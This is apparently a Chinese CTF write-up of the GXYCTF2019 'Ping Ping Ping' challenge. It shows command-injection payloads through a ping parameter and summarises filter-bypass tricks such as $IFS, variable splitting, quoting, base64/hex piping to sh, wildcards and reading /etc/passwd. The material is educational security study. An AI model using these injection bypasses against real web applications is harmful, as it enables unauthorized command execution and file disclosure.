• [GXYCTF2019]Ping Ping Ping学习命令执行总结


    页面提示?ip=

    随便输入一个IP地址后发现web服务器正在进行ping命令。

    利用分号;隔开后ls发现可以注入命令,接下来想办法cat flag.php

    题目过滤了?/{}()[]*等符号,也不能直接使用flag字段

    payload:
    ?ip=;a=f;c=ag;b=l;cat$IFS$a$b$c.php;
    利用$IFS绕过空格过滤,这里不能直接a=f;b=l;c=ag否则会被检测。

    查阅资料总结大佬们的各种绕过姿势:

    过滤空格:
    
            %20(space)、%09(tab)、$IFS$9、 IFS、IFS
            使用<或者<>来绕过空格 cat<a.txt
            花括号扩展{OS_COMMAND,ARGUMENT} {cat,/etc/passwd}
            $IFS 空格绕过 cat$IFSa.txt
            变量控制 X=$'catx09./flag.php
    关键字过滤:
    
        1.    使用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(我尝试小于 10 也是可    以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 ca${21}t a.txt
        2.    反斜杠 ca	 a.txt
        3.    变量替换 a=ca;b=t;c=a.txt; a a ab $c
        4.    引号 c'a't flag.php
        5.    编码绕过
            Base64 编码绕过:
            root@kali:~/# echo 'cat a.txt'| base64 Y2F0IGEudHh0Cg==
            root@kali:~/# echo 'Y2F0IGEudHh0Cg==' | base64 -d abc
            十六进制编码绕过:
            root@kali:~/# echo 'cat a.txt' | xxd -p 63617420612e7478740a
            root@kali:~/# echo '0x63617420612e7478740a'| xxd -r -p Abc
        6.    通配符 ?*
            […]:匹配范围中任何一个字符 cat fl[abc]g.php
            [a-z]:匹配 a-z 范围中任何一个字符 cat fl[a-z]g.php
            {a,b}:对以逗号分割的文件列表进行拓展 cat fl{b,c}g.php    
    命令分隔与执行多条命令:
    
      1.&
          & 表示将任务置于后台执行
      2.&&
          只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
      3.|
          | 表示管道,上一条命令的输出,作为下一条命令的参数
      4.||
          只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
      5.;
          多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
    方法二 sh,bash下编码
    
    payload:
    echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 解码后 cat flag.php

    参考链接:https://blog.csdn.net/qq_42812036/article/details/104297163

  • 相关阅读:
    文件I/O(二)
    linux学习之文件I/O篇(一)
    静态库和共享库
    vim-ide
    CentOS6 vsftpd 安装及优化方法
    Redmine2.5+CentOS6+Apache2
    分享一个TP5实现Create()方法的心得
    Windows证书的生成导出以及使用证书验证文件是否被修改
    如何设置程序UAC控制
    关于C#的可变长参数
  • 原文地址:https://www.cnblogs.com/cmredkulaa/p/14532988.html
Copyright © 2020-2023  润新知